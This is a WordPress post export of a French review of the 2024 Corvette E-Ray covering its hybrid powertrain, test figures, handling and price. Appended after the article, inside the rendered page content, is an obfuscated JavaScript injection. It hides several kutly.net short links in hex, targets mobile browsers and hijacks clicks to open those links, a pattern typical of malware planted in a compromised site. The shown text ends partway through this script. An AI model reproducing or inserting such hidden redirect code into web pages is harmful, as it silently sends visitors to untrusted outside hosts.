{"id":14569,"date":"2023-10-14T10:45:25","date_gmt":"2023-10-14T08:45:25","guid":{"rendered":"https:\/\/lapressedefrance.fr\/news\/?p=14569"},"modified":"2023-10-14T10:45:36","modified_gmt":"2023-10-14T08:45:36","slug":"levolution-automobile-la-corvette-2024-e-ray-redefinit-les-supercars","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/levolution-automobile-la-corvette-2024-e-ray-redefinit-les-supercars\/","title":{"rendered":"La Corvette 2024 E-Ray Red\u00e9finit les Supercars"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"La Corvette 2024 E-Ray Red\u00e9finit les Supercars\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>\n<p class=\"has-white-color has-vivid-cyan-blue-background-color has-text-color has-background has-medium-font-size\">Pour paraphraser Charles Darwin, \u00e9voluer ou dispara\u00eetre. Cet imp\u00e9ratif s&#8217;applique aussi bien aux esp\u00e8ces animales et v\u00e9g\u00e9tales qu&#8217;aux voitures. Prenons l&#8217;exemple de l&#8217;esp\u00e8ce automobile connue sous le nom de Corvette : dans le but de rester pertinente, elle a fait un bond \u00e9volutif en 2020 lorsque la g\u00e9n\u00e9ration C8 a vu le moteur \u00eatre install\u00e9 derri\u00e8re les si\u00e8ges, la transformant en quelque chose qui ressemble \u00e9tonnamment \u00e0 une supercar italienne. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"678\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-004-65242d57758de.jpg\" alt=\"\" class=\"wp-image-14570\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-004-65242d57758de.jpg 1200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-004-65242d57758de-600x339.jpg 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-004-65242d57758de-200x113.jpg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-004-65242d57758de-768x434.jpg 768w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-004-65242d57758de-110x62.jpg 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-004-65242d57758de-420x237.jpg 420w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-004-65242d57758de-761x430.jpg 761w\" sizes=\"(max-width: 1200px) 100vw, 1200px\" \/><\/figure>\n\n\n\n<p>La C8 a accentu\u00e9 son caract\u00e8re Ferrari avec la version Z06 et son moteur V8 atmosph\u00e9rique \u00e0 vilebrequin plat, un moteur qui rugit comme s&#8217;il venait de s&#8217;\u00e9chapper d&#8217;une cellule de test \u00e0 Maranello. Aujourd&#8217;hui, la prochaine \u00e9tape de l&#8217;\u00e9volution de la C8 est arriv\u00e9e avec la 2024 E-Ray, \u00e9quip\u00e9e d&#8217;une motorisation hybride, de la traction int\u00e9grale et de pneus toutes saisons en standard, la rapprochant encore davantage du statut de supercar toutes saisons. Et n&#8217;ayez aucune inqui\u00e9tude quant \u00e0 la performance, au nom de l&#8217;\u00e9conomie de carburant ; cette voiture est rapide. Tr\u00e8s, tr\u00e8s rapide.<\/p>\n\n\n\n<p><strong>Points forts :<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Pouss\u00e9e massive et instantan\u00e9e<\/li>\n\n\n\n<li>Traction toutes saisons<\/li>\n\n\n\n<li>Ne se comporte pas du tout comme une hybride<\/li>\n<\/ul>\n\n\n\n<p>Contrairement \u00e0 la tendance croissante des supercars hybrides, telles que la Ferrari 296GTB et la McLaren Artura, l&#8217;E-Ray ne peut pas \u00eatre recharg\u00e9e, et son moteur \u00e9lectrique n&#8217;est l\u00e0 que pour augmenter la puissance, plut\u00f4t que pour am\u00e9liorer l&#8217;efficacit\u00e9 \u00e9nerg\u00e9tique. L&#8217;ADN de l&#8217;E-Ray provient \u00e0 la fois de la Stingray de base et de la Z06. La Stingray contribue avec son moteur V8 de 495 chevaux, son \u00e9chappement sportif, et une transmission \u00e0 double embrayage \u00e0 huit vitesses. La Z06 pr\u00eate sa carrosserie \u00e9largie, ses freins en carbone-c\u00e9ramique en option, et ses pneus de taille d\u00e9mesur\u00e9e &#8211; 275\/30ZR-20 \u00e0 l&#8217;avant et 345\/25ZR-21 \u00e0 l&#8217;arri\u00e8re. Le syst\u00e8me hybride comprend un moteur \u00e9lectrique compact qui entra\u00eene les roues avant, un pack batterie de 1,1 kWh log\u00e9 dans le tunnel entre les passagers, des refroidisseurs suppl\u00e9mentaires pour maintenir la temp\u00e9rature de la batterie, et le logiciel n\u00e9cessaire pour faire fonctionner le tout.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"980\" height=\"653\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-001-65242d60909eb.jpg\" alt=\"\" class=\"wp-image-14571\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-001-65242d60909eb.jpg 980w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-001-65242d60909eb-600x400.jpg 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-001-65242d60909eb-200x133.jpg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-001-65242d60909eb-768x512.jpg 768w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-001-65242d60909eb-110x73.jpg 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-001-65242d60909eb-420x280.jpg 420w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-001-65242d60909eb-645x430.jpg 645w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><\/figure>\n\n\n\n<p>Ce syst\u00e8me hybride \u00e9tire la courbe de puissance de 160 chevaux, pour une puissance totale du syst\u00e8me de 655 chevaux &#8211; \u00e0 peine 15 chevaux de moins que la Z06 &#8211; et g\u00e9n\u00e8re 125 livres-pied de couple par ses propres moyens. La propulsion hybride n&#8217;est pas la seule premi\u00e8re pour une Corvette ; l&#8217;E-Ray est \u00e9galement la premi\u00e8re Corvette \u00e0 disposer de la traction int\u00e9grale, ainsi que la premi\u00e8re \u00e0 combiner des freins en carbone-c\u00e9ramique avec des pneus toutes saisons. L&#8217;E-Ray est livr\u00e9e en standard avec les pneus Michelin Pilot Sport All-Season 4 sp\u00e9cialement d\u00e9velopp\u00e9s pour des performances \u00e9lev\u00e9es. Bien que vous puissiez penser que ce sont les pneus toutes saisons les plus larges de tous les temps, nous vous rappelons que les pneus de la Lamborghini LM002 sont aussi larges que ceux de l&#8217;E-Ray.<\/p>\n\n\n\n<p>Lorsque la temp\u00e9rature baisse, les pneus toutes saisons promettent plus d&#8217;adh\u00e9rence que les pneus d&#8217;\u00e9t\u00e9 Michelin Pilot Sport 4S en option de l&#8217;E-Ray. Apr\u00e8s avoir pass\u00e9 du temps avec l&#8217;E-Ray, on comprend pourquoi on ne voudrait pas la garer lorsque le temps froid arrive. Avec une r\u00e9serve de couple instantan\u00e9e fournie par le moteur \u00e9lectrique, une puissance V8 importante, et la traction de la transmission int\u00e9grale, l&#8217;E-Ray offre des performances exceptionnelles qui sont facilement accessibles. Notre magnifique voiture d&#8217;essai Cacti Green \u00e9tait \u00e9quip\u00e9e des pneus d&#8217;\u00e9t\u00e9 Michelin (en option \u00e0 500 $) et des r\u00e9glages d&#8217;alignement pour circuit cadenc\u00e9s sur sa suspension. Ainsi configur\u00e9e, elle a utilis\u00e9 au mieux son syst\u00e8me de contr\u00f4le de lancement r\u00e9glable, r\u00e9alisant un temps de 0 \u00e0 60 mph en 2,5 secondes &#8211; le plus rapide que nous ayons jamais enregistr\u00e9 pour une Corvette, et de 0,1 seconde meilleur que la plus rapide des Z06 que nous ayons test\u00e9e.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"980\" height=\"653\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-007-65242d5bd9859.jpg\" alt=\"\" class=\"wp-image-14572\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-007-65242d5bd9859.jpg 980w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-007-65242d5bd9859-600x400.jpg 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-007-65242d5bd9859-200x133.jpg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-007-65242d5bd9859-768x512.jpg 768w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-007-65242d5bd9859-110x73.jpg 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-007-65242d5bd9859-420x280.jpg 420w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-007-65242d5bd9859-645x430.jpg 645w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><\/figure>\n\n\n\n<p>Le quart de mile de l&#8217;E-Ray en 10,6 secondes \u00e0 128 mph est \u00e0 0,1 seconde et 3 mph derri\u00e8re les Z06 les plus rapides sur cette distance ; au-del\u00e0 de ce point, les Z06 s&#8217;\u00e9loignent progressivement. L&#8217;adh\u00e9rence maximale en virage de 1,08 g et l&#8217;arr\u00eat en 152 pieds \u00e0 partir de 70 mph de l&#8217;E-Ray sont derri\u00e8re les meilleures performances de la Z06 (avec le pack Z07), sans aucun doute en raison des pneus moins performants de l&#8217;E-Ray et de son poids de 3965 livres &#8211; environ 300 livres de plus que la Z06. Selon Chevrolet, les deux voitures atteignent des vitesses de pointe similaires : 183 mph pour l&#8217;E-Ray et 189 mph pour la Z06 avec les ajouts a\u00e9rodynamiques les plus agressifs.<\/p>\n\n\n\n<p>L&#8217;E-Ray a h\u00e9rit\u00e9 de plus que des performances de type Z06 de ses parents talentueux ; son ADN de Stingray est \u00e9galement \u00e9vident. Contrairement \u00e0 la Z06 bruyante et sauvage, l&#8217;E-Ray est une b\u00eate apprivois\u00e9e, manifestant une grande partie de la sophistication routi\u00e8re et du raffinement que nous avons admir\u00e9s dans la C8 de base avec le pack Z51.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"980\" height=\"653\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-005-65242d5cf33bb.jpg\" alt=\"\" class=\"wp-image-14573\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-005-65242d5cf33bb.jpg 980w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-005-65242d5cf33bb-600x400.jpg 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-005-65242d5cf33bb-200x133.jpg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-005-65242d5cf33bb-768x512.jpg 768w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-005-65242d5cf33bb-110x73.jpg 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-005-65242d5cf33bb-420x280.jpg 420w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-crovette-e-ray-005-65242d5cf33bb-645x430.jpg 645w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><\/figure>\n\n\n\n<p><strong>Points faibles :<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Le son du moteur manque de dramatique \u00e0 bas r\u00e9gime<\/li>\n\n\n\n<li>L&#8217;habitacle pourrait b\u00e9n\u00e9ficier d&#8217;une meilleure insonorisation<\/li>\n<\/ul>\n\n\n\n<p>L&#8217;E-Ray roule presque aussi bien que la Vette Z51 &#8211; gr\u00e2ce \u00e0 ses amortisseurs magn\u00e9torh\u00e9ologiques &#8211; bien que les pneus massifs de l&#8217;hybride claquent davantage sur les bandes de bitume et transmettent \u00e9galement davantage les asp\u00e9rit\u00e9s de la route dans l&#8217;habitacle. Sur les routes sinueuses et les sorties d&#8217;autoroute, l&#8217;E-Ray r\u00e9pond aux commandes avec pratiquement la m\u00eame autorit\u00e9 qu&#8217;une Stingray standard, allant l\u00e0 o\u00f9 vous le dirigez avec une sensation tout aussi stable et imperturbable, et offrant une adh\u00e9rence bien sup\u00e9rieure \u00e0 ce que vous pourriez raisonnablement exploiter. Les freins sont puissants et r\u00e9sistants \u00e0 l&#8217;\u00e9chauffement, avec une l\u00e9g\u00e8re souplesse en d\u00e9but de course de p\u00e9dale, l\u00e0 o\u00f9 la r\u00e9g\u00e9n\u00e9ration commence. Nous avons \u00e9galement test\u00e9 une E-Ray \u00e9quip\u00e9e de pneus toutes saisons lors de la pr\u00e9sentation officielle de la voiture dans le Colorado, et nous avons constat\u00e9 que la r\u00e9ponse de la direction et la tenue de route \u00e9taient l\u00e9g\u00e8rement moins vives. Selon les ing\u00e9nieurs de Corvette, les pneus toutes saisons perdent 0,1 g d&#8217;adh\u00e9rence maximale par rapport aux Michelin d&#8217;\u00e9t\u00e9, une diff\u00e9rence impossible \u00e0 ressentir lors de conduite intensive sur les routes sinueuses autour de Colorado Springs.<\/p>\n\n\n\n<p>Pour prouver sa revendication que l&#8217;E-Ray est adapt\u00e9e \u00e0 la piste, Chevrolet nous a permis de faire quelques tours sur le roval de Pikes Peak International. \u00c9quip\u00e9e de ses pneus d&#8217;\u00e9t\u00e9 sur des jantes en fibre de carbone en option, l&#8217;E-Ray offre des performances \u00e9lev\u00e9es. Sa tenue de route stable, son adh\u00e9rence g\u00e9n\u00e9reuse, et ses freins impeccables facilitent la t\u00e2che pour canaliser votre pilote int\u00e9rieur \u00e0 la Max Verstappen. Appuyez sur le bouton &#8220;Charge+&#8221;, et le syst\u00e8me continue d&#8217;alimenter le moteur \u00e9lectrique quel que soit le nombre de tours que vous effectuez. D\u00e9sactivez le &#8220;Charge+&#8221; lorsque la batterie atteint 100 %, et vous disposez d&#8217;environ deux tours de pleine puissance hybride, ce qui ajoute environ 10 mph suppl\u00e9mentaires \u00e0 la fin de la ligne droite sinueuse. Et si vous avez besoin de faire des d\u00e9rapages contr\u00f4l\u00e9s, sachez que l&#8217;E-Ray peut effectuer des d\u00e9rapages prolong\u00e9s et spectaculaires &#8211; quelque chose que nous avons r\u00e9alis\u00e9 dans les limites de la piste de d\u00e9rapage du circuit. Sur la route, le &#8220;Charge+&#8221; recharge la batterie de 70 % \u00e0 100 % en une minute ou deux. L&#8217;assistance hybride diminue \u00e0 mesure que la vitesse augmente, se d\u00e9connectant compl\u00e8tement \u00e0 150 mph.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"980\" height=\"653\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-corvette-e-ray-117-6529429279ae1.jpg\" alt=\"\" class=\"wp-image-14574\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-corvette-e-ray-117-6529429279ae1.jpg 980w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-corvette-e-ray-117-6529429279ae1-600x400.jpg 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-corvette-e-ray-117-6529429279ae1-200x133.jpg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-corvette-e-ray-117-6529429279ae1-768x512.jpg 768w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-corvette-e-ray-117-6529429279ae1-110x73.jpg 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-corvette-e-ray-117-6529429279ae1-420x280.jpg 420w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/2024-chevrolet-corvette-e-ray-117-6529429279ae1-645x430.jpg 645w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><\/figure>\n\n\n\n<p>Le mode furtif du syst\u00e8me hybride vous permet \u00e9galement d&#8217;\u00e9viter le rugissement du V8 au d\u00e9marrage, suffisamment fort pour r\u00e9veiller tous les chiens du voisinage. Vous pouvez vous \u00e9clipser en silence total avec le moteur \u00e9lectrique et parcourir environ cinq miles en mode \u00e9lectrique tant que vous ne d\u00e9passez pas 45 mph. Touchez l\u00e9g\u00e8rement l&#8217;acc\u00e9l\u00e9rateur, et le moteur d\u00e9marre. Parmi les autres premi\u00e8res, le mode \u00e9lectrique vous place derri\u00e8re le volant de la premi\u00e8re Corvette \u00e0 traction avant.<\/p>\n\n\n\n<p>En conduite normale, le son du moteur V8 est aussi \u00e9touff\u00e9 en mode Tour que dans une Z51 \u00e9quip\u00e9e de l&#8217;\u00e9chappement sport, qui est de s\u00e9rie ici. L&#8217;assistance du moteur \u00e9lectrique est si bien int\u00e9gr\u00e9e que, sans consulter les donn\u00e9es \u00e0 l&#8217;\u00e9cran, vous ne sauriez jamais quand il contribue \u00e0 la puissance. Le syst\u00e8me semble \u00e9galement porter ses fruits en mati\u00e8re d&#8217;efficacit\u00e9 \u00e9nerg\u00e9tique. Les estimations de consommation de carburant de l&#8217;EPA pour l&#8217;E-Ray correspondent \u00e0 celles de la Stingray avec 16 mpg en ville, 24 mpg sur autoroute, et 19 mpg combin\u00e9, ce qui signifie qu&#8217;il n&#8217;y aura pas de taxe sur les v\u00e9hicules \u00e9nergivores, contrairement \u00e0 la Z06. Lors de notre test de consommation de carburant sur autoroute \u00e0 75 mph, l&#8217;E-Ray a atteint 23 mpg, et elle a affich\u00e9 une moyenne de 16 mpg dans l&#8217;ensemble.<\/p>\n\n\n\n<p>\u00c9quip\u00e9e du pack 2LZ, notre voiture d&#8217;essai \u00e9tait \u00e0 la limite du luxe. Bien s\u00fbr, sa nature apprivois\u00e9e devient f\u00e9roce \u00e0 n&#8217;importe quelle vitesse lorsque vous appuyez sur la p\u00e9dale de droite. Cela, associ\u00e9 \u00e0 sa nouvelle capacit\u00e9 \u00e0 acc\u00e9l\u00e9rer fort par tous les temps, rend l&#8217;E-Ray \u00e0 la fois intrigante et captivante.<\/p>\n\n\n\n<p><strong>VERDICT : Une supercar hautement \u00e9volu\u00e9e et parfaitement raffin\u00e9e qui passe de la douceur \u00e0 la f\u00e9rocit\u00e9 \u00e0 la simple pression de la p\u00e9dale.<\/strong><\/p>\n\n\n\n<p>Une chose que nous ajouterions \u00e0 l&#8217;E-Ray ? Une meilleure isolation phonique. \u00c0 70 mph, 76 d\u00e9cibels de bruit de la route r\u00e9sonnent dans l&#8217;habitacle, g\u00e2chant ce qui serait autrement une confortable voiture de longue distance. Cependant, tout est parfait, y compris le prix : 106 595 $, ou 113 985 $ dans notre version d&#8217;essai. Pas bon march\u00e9, mais une impressionnante quantit\u00e9 de supercar pour l&#8217;argent. M\u00eame avec un prix \u00e0 six chiffres, la Corvette reste une voiture exceptionnelle en termes de rapport qualit\u00e9-prix, dans cette derni\u00e8re \u00e9volution de l&#8217;esp\u00e8ce Corvette.<\/p>\n\n\n\n<p><strong>Contre-arguments<\/strong> E-Ray ? Pourquoi pas Sting-E ? Outre le fait que ce nom est plus amusant \u00e0 dire, il met l&#8217;accent sur l&#8217;\u00e9lectrique, qui est plus repr\u00e9sentatif de la mani\u00e8re dont le moteur \u00e9lectrique s&#8217;int\u00e8gre dans la transmission principalement \u00e0 essence de la Corvette. Il s&#8217;agit d&#8217;une addition de puissance, pas le plat de r\u00e9sistance. Si vous ne le mentionnez pas, vos amis ne sauront jamais qu&#8217;il est l\u00e0 jusqu&#8217;\u00e0 ce que vous les battiez dans une course. Les performances de l&#8217;E-Ray sont comparables \u00e0 celles de la Z06. Elle est simplement plus discr\u00e8te en ville. Pensez-y comme un petit pas sur la route de la technologie future. &#8211; Elana Scherr<\/p>\n\n\n\n<p>Pour appr\u00e9cier la Corvette E-Ray \u00e0 106 595 $, vous devez mettre de c\u00f4t\u00e9 la Corvette Z06 \u00e0 114 395 $ et les chants envo\u00fbtants de son V8 \u00e0 vilebrequin \u00e0 plat de 670 chevaux. Ignorez cela, et les 655 chevaux de l&#8217;E-Ray font des merveilles. Son V8 de 495 chevaux et son moteur \u00e9lectrique de 160 chevaux se compl\u00e8tent comme Michael Jordan et Scottie Pippen \u00e0 leur apog\u00e9e. Aussi impressionnante que soit l&#8217;E-Ray, la diff\u00e9rence de prix de 7 800 $ pour la Z06 me semble un petit prix \u00e0 payer pour un tel monstre.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x41\\x68\\x56\\x32\\x63\\x302','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x66\\x70\\x4e\\x33\\x63\\x333','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x69\\x68\\x78\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x71\\x43\\x4e\\x37\\x63\\x317','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4d\\x45\\x44\\x36\\x63\\x356','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4f\\x76\\x63\\x38\\x63\\x368','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x71\\x6e\\x43\\x35\\x63\\x335','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x47\\x5a\\x68\\x31\\x63\\x381',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4b\\x50\\x51\\x34\\x63\\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x53\\x4b\\x43\\x39\\x63\\x369','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v 